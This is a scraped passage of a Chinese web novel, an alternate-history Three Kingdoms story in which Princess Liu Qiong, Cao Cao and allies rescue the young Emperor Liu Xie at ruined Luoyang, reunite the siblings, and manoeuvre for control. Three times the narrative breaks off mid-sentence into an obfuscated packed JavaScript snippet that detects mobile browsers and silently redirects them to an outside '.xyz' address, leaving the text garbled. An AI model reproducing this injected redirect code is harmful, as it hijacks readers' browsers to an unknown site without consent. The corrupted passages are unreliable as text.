他们两个是从吕布手下投奔过来的降将,曹操还是有些不放心,又怕留他们在兖州会给吕布可乘之机,这才全都带上的。 而这也正合刘琼的心意,有张辽和高顺在身边,等将来她和刘协重逢后,他们姐弟也不至于毫无倚仗。 至于曹昂,他本来也想一起去的,奈何他是曹操的长子,兖州又是曹家的大本营,不容有失,曹操更是命他守好家业,没办法,这次他也只能缺席了。 这次营救天子,陈宫也坚持随行,曹操知道自己阻止不了他,也只得答应下来,随即调兵遣将,分几路人马出兵营救天子,刘琼心急,不肯坐马车,坚持自己骑马。 这些日子她跟着曹昂练习骑术,再加上自己对马儿的亲和力,足以让她游刃有余。 曹操实在拗不过她,只得答应下来,又命夏侯淳和张辽一左一右护卫在侧。 就这样,一行人马浩浩荡荡往洛阳而去。 与此同时,天子刘协在董承杨奉的护送下,也在往洛阳逃亡,忠心于汉室的百官公卿也随行而逃。 为了躲避西凉军的追杀,他们是日夜兼程,期间还丢失了许多贵重物品。 刘协甚至连天子的冕服配饰都丢了,天子头冠也不见了,就连展现天子威严的仪仗也丢了个七七八八。 但好在他们保住了性命,成功逃回了洛阳。 虽然长安很繁华,也曾是大汉的帝都,但在刘协心里,洛阳的皇宫才是他的家。 他生在这里,长在这里,哪怕这里已经被董卓烧成了一片废墟,亭台楼阁尽皆坍塌,满地皆是残垣断壁,他也感到安心。 长途跋涉这么久,好不容易回到了洛阳的皇宫,在未央宫破败不堪的厅堂里,刘协抱着双膝坐在了台阶处,百官们则各自找了柱子墙壁倚靠。 还不等众人商量出一个可行之法,这肚子便都咕咕叫起来。 “爱卿,朕渴,朕饿。”刘协脸上脏脏的,头发也凌乱的很,双手抱着膝盖缩成小小一只,可怜巴巴的看着身旁的董承。 “陛下,给,吃吧。”董承赶紧起身,从袖中取出一个巴掌大小的硬面饼递了过去。 刘协几乎是抢一般的拿到手里,便往嘴里塞去,也不嫌弃硌牙不好吃,只一样,太噎得慌,噎的他都咳嗽起来。 “水,朕要水。”刘协使劲儿咽下口中面饼,几乎是求生般的喃喃要求道。 “陛下稍安勿躁,微臣已经派人去寻水井了,想来不久就有水喝了。”董承随身的水囊早干了,他只能先安抚刘协,又为他拍了拍后背,顺了顺气。 “最艰难的时候已经过去了,这次咱们重返东都,定能振兴大汉,陛下,你可要撑住啊。”董承苦口婆心的劝慰着。 然而此时的刘协却只使劲儿咽了咽口中的面饼,整个人还处于一种懵懵的状态。 他如此才十一二岁,前几年又一直被人挟持做傀儡,振兴大汉离他太远,他现在最关心的,还是一件事。 “李傕和郭汜追来了没有?”他紧张的抬头问道。 “陛下放心,李郭二贼早被咱们甩到八百里开外了。”董承笑着回答道。 “那就好,那就好。”刘协总算松了一口气,然后又咬了一口面饼,这次他学精了,咬了一小口,细嚼慢咽,这样不容易被噎住。 可他的饼还没吃完呢,就听到外头突然传来一声声的呼唤。 “陛下!” “不好了,陛下!” “城东突然出现大量兵马,正朝皇宫方向而来!” …… 一个小黄门连滚带爬的进来报信,刘协听到这儿,当即就慌了神。 “追来了,他们追来了。”他下意识的起身就要逃,却没注意脚下的残破物件,一不留神被绊倒,众多臣子又赶紧围上去扶他。 “陛下,陛下。” “爱卿,你快想个法子啊。”刘协被扶起来后,第一时间奔到董承面前哀求道。 “完了,完了,上天无路,入地无门。” “大汉的列祖列宗啊,睁开眼看看皇室的后人,护佑大汉社稷吧。” 董承也没办法,只能选择哭先祖,其他臣子也跟着他跪倒在地,哭声一片。 “你们光哭有什么用啊,怎么办,怎么办,你们快拿个主意啊。” 刘协紧握着手里那半个面饼看着这一幕,是又心酸,又无奈,但他知道现在不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926252|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭的时候,于是连连催促他们。 正在众人走投无路之际,又有一小黄门来报。 “大喜啊,陛下!” “救兵,是救兵来了!” 那人一路连滚带爬到了刘协跟前,连连叩首禀报道。 “陛下,是祖宗显灵了,救兵到了。”董承等人一听这句,立刻擦干眼泪向刘协道喜。 “哪儿的救兵?是谁,是谁来救驾了?”刘协也振作起来,迫不及待的询问道。 “肯定是冀州的袁绍奉诏前来救驾,他离洛阳最近呐,又曾是十八路诸侯讨董联盟的盟主,必是我大汉的忠臣无疑啊。”董承不假思索的就猜是袁绍。 “好,好,好。”刘协闻言,顿感安心,连道三个好字。 “真是忠臣啊。” “是啊,我大汉的忠臣啊。” 其他臣子也连连称赞,可他们的话还没落地呢,就又有一小黄门跑进来汇报最新情况。 “启禀陛下,救兵不是袁绍,而是兖州牧曹操,那军队打着的旗号也皆是一个‘曹’字啊。” 众人一听皆是一愣,随即就七嘴八舌的讨论起来。 “怎么会是曹操呢?” “居然是曹孟德,这是怎么回事啊?” “袁绍为何不来?” …… 众臣议论纷纷,皆是百思不得其解。 “陛下,真没想到曹操能来啊。” “袁绍离洛阳最近,可他却不管不顾,曹操人在山东,却肯千里迢迢赶来护驾。” “这可真是家贫见孝子,患难见忠臣啊。” 他们不解,但董承反应倒快,立刻改口夸赞曹操,还不忘了踩袁绍一脚。 “待会儿曹操觐见,陛下可得好好奖赏他几句啊。”董承还给刘协出主意。 至于说为何不提赏赐,那是因为他们这会儿基本没有任何贵重物品随身。 “朕知道,朕一定会重重的夸奖他。” “可是爱卿,朕现在衣衫褴褛,如何能见曹操呢?”刘协站起身来,打量了自己一番,顿觉不妥。 “陛下,您的冕服都已经在路上丢失了,剩下的都是些便于逃亡的常服,这,这……” 负责刘协衣物保管的官员赶紧说出实情,且一脸的为难之色。 “陛下,微臣提前留下了一件上朝的外袍,至于配饰,则是没有的。”关键时刻还是董承给力,他立刻站出来表态。 “无妨,哪怕只有一件外袍也行啊,至少朕看起来还像个天子。”刘协也不嫌弃。 事实上他也没什么可嫌弃的,都落魄到这个地步了,有件天子衣衫遮羞,总比穿身上这身破烂去见曹操强。 曹操虽是臣子,可却坐拥山东,又有军队在手,刘协觉得,自己作为天子,即便无兵无地,那至少也要保留一分尊严。 这不止是为了自己,更是为了汉室的列祖列宗,现在他可是在洛阳,在皇宫,他不可以丢脸,更不能丢了刘姓皇族的气势。 “快,给朕更衣。”于是乎,刘协吩咐道。 “来人,来人啊,赶紧给陛下更衣梳头,整理仪态。”董承找出自己先前藏起来的那件帝王朝服,又招呼那些内侍上前伺候。 他还贴心的考虑到了刘协的外形问题,就算现在没有天子冠了,那头发也该好好梳一梳,至少看起来像样。 众人也随之忙碌起来,同一时间,曹操和刘琼以及陈宫,张辽,高顺,夏侯淳等人也已经入城了,正往皇宫而来。 48.姐弟重逢 洛阳城残破不堪,皇宫也未曾幸免于难,到处都是残垣断壁,杂草丛生。 时隔两年,再次回到这里,无论是曹操还是刘琼,都颇有些感慨。 但现在也不是悲春伤秋的时候,两人结伴同行,夏侯淳跟着曹操,陈宫,张辽,高顺则是在刘琼身后。 这看起来似乎没有任何问题,但只有他们自己明白是怎么回事。 马上就要进入宫城了,曹操突然开口。 “按照朝廷的规矩,地方官员入京觐见陛下时,需得奉上贡品,还得带有地方特色。” “兖州现如今盛产的物品,大概就是锦缎和雪白的盐,除此之外,还得准备些金玉珠宝什么的贵重物品。” “奈何我们走的太匆忙,并未携带太多物件。” “公台,你看这事儿怎么办啊?”他故意先去问陈宫,实际却也是在说给刘琼听。 “明公,外臣觐见天子,需得奉上贡品自是朝廷礼法不假,但眼下是非常情况,不同于平时,自然要非常处置。” “陛下和百官从长安一路奔逃至洛阳,现在必定是饥寒交迫,他们现在最需要什么?无非是一口肉汤,两只面饼而已。” “如今这等光景之下,一口肉汤胜似万两黄金啊。” 陈宫的意思已经很明白了,现在给天子上贡什么金银珠宝都没用,给他们吃饱穿暖才是最要紧的。 “嗯,言之有理,高顺,去准备吃食吧。”曹操也很赞同这点,于是出言吩咐道。 “诺。”高顺正要走开。 “等等。”然而刘琼却突然出声阻止。 “琼儿?怎么了?”曹操有些疑惑的停下脚步。 “姑父容禀,正因如今天子和百官饥寒交迫,才不好大量进食油腻之物,以免身体受不住,倘若一个不慎闹起病来,也是一桩麻烦事。” “依我看,倒不如多熬些羹汤,再给予面饼配着吃,先填饱肚子也就是了,至于改善伙食,还是等我们回家之后再说吧。”刘琼提出了自己的见解。 “琼儿所言极是,高顺,听见了吧,还不快去准备?”曹操点了点头,然后便吩咐道。 “诺。”高顺本不想离开,然而刘琼却用眼神示意他先去,张辽也给他使眼色,他也只能先行离开。 众人继续前行,遇到关闭的宫门,自有两旁的士兵提前跑过去打开。 “方才琼儿提到回家,想来也是赞成接驾之后,我等一同返回兖州的吧。”曹操仿佛不经意间问了一句。 “那是自然,如今洛阳已成废墟,不堪再为国都,且李郭二人穷追不舍,冀州袁绍又虎视眈眈,倘若留在这里,那与主动求死有何区别?”刘琼却很镇定。 “还是琼儿看的明白。”曹操听到这儿,总算松了一口气,“那待会儿觐见陛下时,就要仰仗琼儿了。” “姑父言重了,是我们要仰仗你才对。”刘琼一语双关道。 “这怎么敢当呢?”曹操嘴上谦虚的很,但心里却很受用。 “没什么不敢当的,姑父是我大汉的忠臣,我和陛下,自然心存感激。”刘琼依旧诚恳。 “明公,虽说这次我等的救驾之功没跑了,但陛下到底是陛下,还望明公等会儿觐见时,务必要恪守朝廷礼法,也让陛下和百官安心啊。” 眼看曹操言语间如此挤兑公主,陈宫心生不忿,不由得出声提醒。 “……”,曹操听了这话,觉得很是难堪。 “陈伯父,这你就多虑了,姑父以前可是西园八校尉之一,乃是先帝的心腹重臣,又岂会不懂这个道理?”刘琼见状连忙打了个圆场。 “琼儿所言极是。”听到她这话,曹操的脸色才缓和许多。 “那待会儿姑父就先觐见陛下吧,至于我,则要仰仗姑父引荐了。”刘琼又顺势提出了一个要求。 “琼儿?这……”,曹操有些错愕。 “这次出行姑父没带礼物,我倒是带了一件。” “但按照礼法,女子又不宜出现在外臣觐见天子的朝堂之上,可我又不得不见陛下,所以还望姑父等下务必引荐一番。” 刘琼加重语气强调着,她这是打算借曹操的手打破这朝堂的法度,顺便把责任甩出去。 奈何曹操没感觉出什么不对,还觉得这是公主信任自己的表现,又想着到底是姐弟情深,这会儿又是非常之时,那自然要行非常之事。 “琼儿放心就是。”于是乎,他很痛快的答应了下来。 就这样,他们暂时达成了一致,等他们来到未央宫的大殿前时,刘琼,陈宫,张辽,夏侯淳都暂时留在了外面,而曹操一人独自走了进去。 昔日威严壮丽的厅堂,如今却满地狼藉,灰尘和蜘蛛网几乎遍布每一个角落。 朝臣们更是衣衫褴褛,但他们尽量站的笔直,仿佛在维系着王朝的最后一丝尊严。 刘协也已经换了天子外袍,华丽的十二纹章之下,却是掩不住的困窘。 但为了自己,也为了大汉皇室体面,他强撑着坐在上首的御座处,居高临下的看着走进来的曹操。 曹操也不含糊,刚才怎么商量的,他都一一照做了,三跪九叩,恭敬非常的来到了厅堂正中,并高声禀报自己的姓名官职。 “臣,兖州牧曹操,叩见陛下,愿陛下长乐未央,永受嘉福。” 他的声音洪亮有气力,在这空旷的未央宫里不住回响,并再次跪下,对着刘协行了一礼。 上首坐着的刘协被他这番举动感动的无以复加,甚至想起身下去扶他,但想起自己的身份,又硬生生的止住了冲动。 “忠臣呐,患难见忠臣啊,爱卿快平身吧。”刘协赶紧抬了抬手,示意他起来。 “吾皇万岁万岁万万岁。”曹操再次叩首行了一礼后,这才起身站起。 “微臣听闻陛下蒙尘,被李傕,郭汜等逆贼一路追杀,心如刀绞。” “虽兖州距离洛阳千里之遥,然微臣忠君护国之心,昼夜不曾忘怀,今又幸赖陛下洪福,将士用命,微臣星夜兼程,这才得以赶到洛阳。” “然微臣到底护驾来迟,致使陛下受惊,万死难辞其咎,伏乞陛下恕臣迟援之罪。” 曹操的言辞中名为自责,实则却句句不离护驾之功。 董承听出了其中的邀功之嫌,但碍于形势,也不好当面说什么。 而刘协,他就更清楚自己现在的处境了,若无曹操前来,只怕他还要心惊担颤的活着,现在人家千里迢迢来救,提及救驾之功也无可厚非啊。 况且曹操这话也说的漂亮,并无胁迫,而是主动给了他这个天子台阶下,那刘协自然不会不识趣。 “爱卿这是说哪里话?你千里之遥都赶来救驾,朕感激还来不及,哪里会怪罪?”于是乎,刘协赶紧示意曹操上来,后者也顺势走上台阶,来到了御座前。 “多谢陛下恕臣迟缓之罪,微臣知道陛下和各位大臣没日没夜的赶路,如今必定饥渴难耐,先前已经派人去准备饭食了,很快就好,陛下宽心就是。”曹操又及时安抚道。 “爱卿真是想朕之所想,急朕之所急,再没有比爱卿更忠心的臣子了。”刘协听到这儿,眼眶都忍不住红了。 下面站着的朝臣们听到这话,也是纷纷称赞起曹操来。 “兖州牧真乃我大汉的忠臣啊。” “是啊,是啊,比那冀州的袁绍强多了。” “有兖州牧在,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930314|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等就不必惧怕那李郭二贼的追杀了。” …… 众人连连夸赞,那颗悬着的心也放下不少。 “陛下,按照朝廷法度,微臣作为地方官员,理应进献贡品,但在那之前,微臣想为陛下引荐一人,陛下见了,必定欢喜非常。”曹操此时又开口道。 “哦?是何人啊?”刘协一愣。 “是陛下的故人。”曹操并未直说,而是卖了个关子,随后又连续三次拍掌。 “啪!” “啪!!” “啪!!!” 三声过后,那敞开的大殿门口,旋即出现一个身着披风,带着兜帽的人影。 看身形,是个女子无疑,来人正是刘琼,她几乎是疾驰一般来到了厅堂正中,这才掀开了头上的兜帽。 当那张熟悉的面庞映入刘协的眼帘时,他几乎是难以置信的从御座上站了起来。 “你,你是……”他的气息都有些不稳了。 “协儿!”刘琼唤了他一声。 “阿姊?是你吗?阿姊?”刘协踉跄着往下跑,还差点摔倒。 “是我,是我,我来了,我来接你了。”刘琼也立刻上台阶,眼疾手快扶住了他。 “阿姊,你怎么才来啊,你知不知道我受了多少苦,遭了多少罪啊。” 好不容易见到一个亲人,还是自己的手足,刘协的情绪再也绷不住了,这眼泪当场就落了下来,就连‘朕’的自称都变成了‘我’,可见是委屈坏了。 “没事了,都没事了,阿姊在这儿呢,没人能再伤害你,大汉的列祖列宗也会保佑我们的。”她一手摸了摸刘协的脸,一手又拿出手帕给他擦眼泪。 “嗯。”刘协带着哭腔重重点了点头,然后埋在她怀里怎么也不肯出来了。 他虽是天子,可也只是个十一二岁的少年,历尽颠沛流离,为人鱼肉的艰辛,难得见到一心为自己的亲人,哪有不想依靠的? 下面的朝臣亲眼目睹了这场认亲事宜,自然也就确定了刘琼的身份。 “臣等参见万年公主殿下,伏惟殿下玉体安康,长乐未央。”他们赶紧行礼下拜,异口同声的问候,并纷纷低头不敢再看她。 因为按大汉规矩,朝臣见皇室女眷,没有特许,是不能直视对方的。 “本殿下安,众爱卿请起吧。”刘琼抬了抬右手,做出一个虚扶的动作,示意他们起身。 “阿姊,你怎么会在这儿啊,还跟着曹爱卿一起来救我?”刘协此时也稳住了情绪,从她怀里抬起头来询问。 “此事说来话长,你还是先吃点东西垫垫肚子,我再与你细细分说。”话到此处,她拉着刘协走回了御座,并且很自然的和他并排坐在了上面。 “来人,把饭菜端进来吧。”她又看向殿外高声命令道。 话音未落时,高顺便带着一众兵将捧着一箩筐一箩筐的汤羹面饼进来了,张辽和陈宫则是一人端着一种吃食,乐颠颠的直奔上头的御座处。 夏侯淳也想上前去到曹操身边来着,奈何高顺一个劲儿的拉着他给朝臣们分发食物,他也就脱不开身。 张辽和陈宫把饭食一路送到了御座前的案台上,张辽还扯下自己的披风做桌布,刘琼则是一边给刘协盛汤,一边劝他细嚼慢咽。 此番操作下来,原本作为最大救驾功臣的曹操倒像个外人似的,好在陈宫挺有眼力见儿,走过去和曹操搭话,才不至于冷场。 曹操现在已经感觉到有哪儿不对劲了,可就是说不出来,还有就是他不明白为何公主现在还不拿出玉玺来? 刚才公主说给陛下带了礼物,他就猜到了肯定是传国玉玺,但公主此时怎么又绝口不提呢?他很疑惑。 49.收拢人心 待到用过饭食,又有刘琼的安抚,刘协总算镇定了下来。 朝臣们也在高顺和夏侯淳的指挥下填饱了肚子,再度抬头挺胸,恢复了平时为官做宰的高傲姿态。 仿佛刚才乱哄哄凑在一起抢饭吃的那群家伙不是他们似的。 曹操没管厅堂中的大臣们,而是朝着刘协和刘琼行了一礼。 “启禀陛下,殿下,微臣恭请两位于大殿外校阅兖州将士。” “阿姊?”刘协的第一反应,却是去看刘琼。 “别怕,我和你一起去。”刘琼握住他的手安抚道。 两人起身从御座上下来,曹操,陈宫,张辽紧随其后,其他朝臣纷纷行礼,在他们通过后,又按官位高低跟在后面。 走出大殿,入目所见,旌旗招展,甲兵数万,张辽,高顺,夏侯淳等人作为战将,也已经回到自己的军阵前指挥。 众多刀剑一起出鞘的‘唰唰’声和将士们‘山呼万岁’的声音交织在一起,充分展现出金戈铁马,气吞山河的杀伐厉气,可见眼前的必是一支精锐。 “爱卿啊,这些将士都是你的吗?”刘协看的热血沸腾,但又有些惶恐,眼巴巴的看向曹操问道。 “不。”曹操却摇了摇头,“他们都是陛下的将士。”他的场面话说的十分漂亮。 “你有多少兵马?”可惜刘协根本没注意到他言语中的讨好,只是一个劲儿的看着那些披坚执锐的兵将们,迫不及待的追问着。 “精兵数十万,战将数百位。”曹操只笼统的回了一句。 “了不起,真了不起,你比董卓他们英雄十倍。”刘协闻言,不由得连连惊叹。 曹操见状,趁机拔出了腰间佩剑,抬手指向天空,夏侯淳看到信号,立刻就命令将士擂鼓呐喊,其声势之浩大,几乎吓了众人一跳。 刘协都有点站立不稳了,还是刘琼眼疾手快扶了他一把,这才没有在全军面前出丑。 曹操眼看着效果差不多了,也就把宝剑再度收回腰间剑鞘之中。 “协儿,现在是该好好奖赏曹将军啊。”刘琼也随之进言道。 “对,是该奖赏,有曹将军在,真乃朝廷之幸,大汉之福,乱贼可灭,大事可期。” “爱卿啊,你千里迢迢赶来救驾,又令朕和阿姊骨肉团圆,于汉室居功至伟,朕拜你为大将军,授爵武平侯。” 刘协也挺上道,当即就给曹操升官封爵,至于财帛珠宝土地什么的,那是一字未提,不是他不想给,实在是他现在什么也没有啊。 “微臣叩谢陛下隆恩。”曹操闻言,立刻就跪下叩首,领受了官职爵位。 他现在不缺钱财,也不缺地盘,就是缺名号,天子这份赏赐可算是赏到他心坎儿里了,这脸上的笑意怎么也压不住。 而且他对公主的观感就更好了,毕竟,是她向陛下提议的。 虽然无论她说不说,可能最后陛下都得赏赐自己,但公主开了口,到底还是不一样,至少这表明公主仍是心向他们曹家的,这才是最重要的。 陛下赐爵,曹操高兴,朝臣们自然也要跟着捧场。 “恭喜武平候。”众人异口同声的为他贺喜。 “同喜同喜。”曹操朝着众人回敬一礼,然后又把目光转回了刘协身上。 “启禀陛下,微臣有本启奏。”他拱手行了一礼。 “爱卿请讲。”刘协抬了抬手。 “东都洛阳眼下残破不堪,宫廷庙宇也是十不存一,且此处距离西凉乱军太近,又是几大诸侯势力交界之处,更是危机四伏,实在不堪再为国都。” “臣为陛下安危所计,为中兴大汉所想,恳请陛下移驾兖州,先在东郡安置,待到日后挑选新城,再建国都,重立朝堂。”曹操郑重其事的提议道。 他会说出这等话来,刘琼一点也不意外,毕竟,这是他们先前商量好的,不过曹操没有提出迁都许昌,这倒是让她有些不解,但细想想,也就释然了。 如今刘协出逃洛阳的事提前了三四年之久,现在的许昌还是豫州的地界,被黄巾贼占据,并非曹操的地盘,那他当然不会提议迁都那里了。 至于说要把刘协带回兖州东郡,那就更好解释了,东郡是曹操的大本营,心腹之地,有重兵把守,他自是非常安心。 有以上种种缘由,刘琼当然非常理解曹操的行为。 只是其他朝臣们却并不这么想,听了曹操的提议后,他们当即就炸了锅,开始纷纷议论起来。 “这万万不可啊。” “洛阳虽然残破,但到底是二百年帝都,钟灵毓秀,龙盘虎踞。” “那东郡是什么地方?籍籍无名不说,还是曹操的心腹之地。” “如果真的移驾于东郡,那岂不是落到人家的手掌心里,想逃都逃不了了吗?” …… 这帮朝臣里头的确有聪明的,看出了这个提议背后潜藏的隐患,可奈何他们智商高,情商低,竟然就这么大大咧咧的说出来了。 听的一旁的刘琼都替他们尴尬,刘协更是变得慌乱起来,一副想说什么,又不敢说的样子。 曹操眼看众人议论,心中也有些不满,抬了抬手,给了夏侯淳一个指示,后者当即抽出宝剑,就打算再次号令兵将们。 岂料张辽和高顺却比他更快一步,直接驱马来到夏侯淳身侧,一左一右将其控制住。 这突如其来的状况让曹操有些错愕,他第一时间就起了怀疑,可此时陈宫竟然主动走了过来。 “明公,陛下和殿下都在,还是莫要动刀动枪的好,免得御前失仪,惹人笑话。” 他一边说着话,一边站到了曹操的对立面,而他身后不远处,则正是张辽高顺挟持夏侯惇的场景。 这意思已经明白的不能再明白了,眼下这场景,就是陈宫指使的。 曹操的脸色瞬间就阴沉下来,他抬手握紧腰间宝剑的剑柄,似乎下一秒就要利刃出鞘,气氛开始变得焦灼紧张。 “我倒觉得曹将军所言有理。”关键时刻,还是刘琼出言转圜了一句。 “阿姊?”刘协疑惑的看向她。 “协儿,东郡很安全,我在那里住了两年,曹将军待我极好,并无任何冒犯之处。” “就连咱们的传家宝,他也不曾有半分觊觎。”话到此处,刘琼从怀中拿出一张明黄色手帕包裹住的方形物品。 “传家宝?阿姊,你,你是说,这是……”,刘协有些不可置信。 “打开看看。”刘琼把东西递了过去。 “玉玺,果然是玉玺,是传国玉玺,我大汉的国宝。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934277|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘协几乎是迫不及待的解开了那明黄色的手帕,当那金镶玉的印章显现出来时,他热泪盈眶,激动的浑身颤抖。 “是传国玉玺。” “真的是传国玉玺。” “天佑大汉啊。” 离得近的朝臣们也看到了刘协手中的东西,不禁纷纷欢呼起来。 这一刻,他们再也不说曹操的不好了,如果他连传国玉玺这样的稀世珍宝都不贪图的话,那他们担忧的那些危险岂不是也微乎其微呢? 然而只有真正的聪明人才能看出曹操的险恶用心,比如陈宫,又比如董承。 他们知道,曹操不拿传国玉玺,而选择把它还给陛下,并非是他有多忠君爱国,而是因为这样能够一举两得。 陈宫现在甚至担心公主的立场都被曹操影响了,不然为何今天她说的话几乎都是有利于曹操的呢?又或者,公主被威胁过。 总而言之一句话,陈宫觉得有哪儿不对劲,一定有什么他不清楚的内情存在,不然不会出现如今的情况。 也就在这个时候,刘琼仿佛不经意间抬手握住了刘协的手,也握住了玉玺的一侧。 下一秒,一只金凤凰从她身上猛的腾起,一声嘹亮的凤鸣声响彻云霄,华丽的羽翼张开来,竟是连半个天空都被遮蔽。 凤凰盘旋了几圈后,最后落在了未央宫之上,再次引哼高歌,即将落幕的王朝仿佛在这一刻有了回光,再度焕发出新的生机。 看到这一幕,在场所有人都失声了,并情不自禁的跪倒在地。 他们不知道该如何形容眼前的景象,这不是道听途说的闲谈逸闻,也不是写在书简里的神话故事,而是真真切切发生在眼前的事实。 也正因为是摆在眼前的事实,才让他们一时很难反应过来。 趁着这个时候,刘琼立刻抬起另一只手,连同刘协一起将传国玉玺高高捧起。 “诸位将士,列位公卿,今日传国玉玺在此,又有祥瑞降世,昭示天命所在。” “逆贼当诛,汉室必复!” 她提高声音宣布着,与此同时,那凤凰也发出嘹亮的凤鸣声,仿佛在附和,众人被情绪感染,不由自主的随她一起呐喊起来。 “逆贼当诛,汉室必复!” “逆贼当诛,汉室必复!” “逆贼当诛,汉室必复!” …… 就连刘协都激动的随她一起喊了出来,朝臣和兵将们也跪了一地,曹操也不例外。 而更神奇的是,在他们呐喊声结束的时候,那停在未央宫上空的金凤凰再次振翅飞翔,环绕几圈后,一头扎了下来,再度回到了刘琼身上。 传国玉玺也随之散发出阵阵华光,不多时,一切都消失不见了,但在场众人的心情却一点也不平静。 离得远的或许以为这些都是来自玉玺,但离得近的,却看的真真的,这一切分明都是来自刘琼,那凤凰是为公主而来。 而刚才这景象也彻底坐实了当初建章宫里的传言,金凤随身的公主,世所罕见的珍宝。 这一刻,曹操意识到,这天命或许是应在汉室,但肯定没在天子刘协身上,反而万年公主才是那个关键中的关键。 ‘公主和昂儿的婚事,必须尽快定下来!’曹操暗自下定决心。 50.互相利用 曹操千里迢迢赶来洛阳救驾,明面上打着奉天子以令不臣的旗号,实则却想着挟天子以令诸侯的美事。 本来一切进展都很顺利,奈何他没想到陈宫早已倒戈,还拉拢了张辽高顺以及他们部下的兵马。 几人还赶在他对天子先礼后兵的时候,及时阻止了这场示威,让原有的震慑减弱不少。 这也就罢了,最让他没想到的是,公主和玉玺居然引出了真正的凤凰祥瑞,他更小看了此时汉室的号召力。 别说张辽高顺的兵马了,就是他自己,乃至麾下的亲兵们,在亲眼看到凤凰于飞的场景后,也不得不承认天命在汉的事实。 没错,是天命在汉,而非天子刘协,曹操笃信,那凤凰是为公主而来,也因此更加坚定了要促成自己儿子和公主婚事的念头。 但眼下最重要的,是要先回到自己的大本营兖州,然后才好操作这一切。 是以曹操当即提议此地不可久留,以防李郭二人引兵来犯。 刘琼也顺势游说刘协离开洛阳,并暗示弟弟张辽高顺乃是他们的自己人,陈宫亦是忠臣,此行绝不会有事,刘协这才放下心来,允准移驾之事。 随后曹操引兵护驾,百官随行,众人浩浩荡荡往兖州而去。 期间又碰到带兵赶来的杨奉徐晃等人,他们以为曹操劫驾,于是在半路阻拦,欲要夺回天子,曹操自然不肯,两方便起了冲突。 天子刘协听闻是先前护送自己逃亡的杨奉,赶忙派董承前去调节,想着不至于让忠于自己的人折损。 可谁知曹操看不上杨奉这等山贼,只一心留下徐晃,便派人去游说徐晃,而趁机斩杀杨奉,便是有董承在一旁劝和也未能救下杨奉,只能无奈回禀刘协。 刘协也因此更加害怕曹操,甚至在马车上睡着睡着,都能惊醒,眼看他夜不能寐,形容憔悴,刘琼只得亲自照顾他。 一日天刚蒙蒙亮,刘协再度从噩梦中惊醒。 “协儿,怎么了?”浅眠的刘琼赶紧拿出手帕替他擦拭额头的冷汗。 “阿姊,我怕,你说曹操会不会杀了我,自己当皇帝?”他忐忑不安的低声询问。 “不会的,他不敢,就算他敢,张辽和高顺也不会让他这么干的。” “即便所有人都靠不住,那还有我呢,传国玉玺也还在,列祖列宗都在天上看着我们,别怕,别怕啊。”刘琼软下语气,不住的安抚着。 “对,有阿姊和玉玺,还有列祖列宗的保佑,我不怕,我不怕。”刘协稍稍镇定了些。 “可是阿姊,我刚才做梦了。” “我梦见了长兄,梦见我和他一起玩,然后,然后董卓来了,长兄就突然不见了。” “阿姊,我担心,我……”他话还未说完,刘琼就一把将他搂到了怀里。 “好了,好了,别想那么多了,只是个噩梦而已,没什么大不了的,不用担心,不会有事的。”她不住的抚摸着他的后背。 “长兄也好,董卓也罢,事情都过去了,咱们应该往前看,你是陛下,是天子,更应该往前看,而不是沉浸在过去的恐惧里不能自拔。” “这样只会给那些别有用心的朝臣留有可乘之机,并借此机会,篡夺属于你我应得的权力和地位。” 刘琼语重心长的教导他应该打起精神来应对眼前的困局,但她却巧妙的用言语将两人的利益绑定在了一起,意在借助他的名号和力量,用来壮大自己。 只可惜刘协太年幼了,根本看不出这温情脉脉的背后潜藏的算计。 “从来没有人跟我说过这样的话,果然还是骨肉至亲最值得相信,阿姊,有你在身边,我才觉得安心。”刘协靠在她怀里,不由得长舒了一口气。 “是啊,骨肉至亲,现在父皇的骨肉,也只有你我了,若是咱们再不一致对外,拉拢忠臣,恐怕迟早要被人生吞活剥了去。” 刘琼一边温柔的替他按摩太阳穴,一边用言语加深两人是同一阵营的印象。 “那依阿姊的意思,何人才是咱们的忠臣?”刘协也很认同她的话,竟是顺着问了起来。 “像是在阵前临危不惧,怒斥曹操的陈宫,还有带兵护驾的张辽高顺,他们都是忠臣,是我为大汉招揽的忠臣。” “等回了兖州,我还要介绍两位大才给你呢。” “只有朝堂上有替咱们发声的文臣,军队中有忠于咱们的武将,这样才不会任人宰割,为人傀儡。” 刘琼在教导他的同时,也在试图为先前投靠自己的人邀功请赏,索要官职。 “阿姊提的人,必是忠臣,贤臣,我也想加封他们,可是曹操会同意吗?”刘协从她怀里起身,有些忧心忡忡。 “他会的,因为他也要为他的手下们请封讨赏,你我只需在他提了要求后,顺势让人添上一句,足矣。” 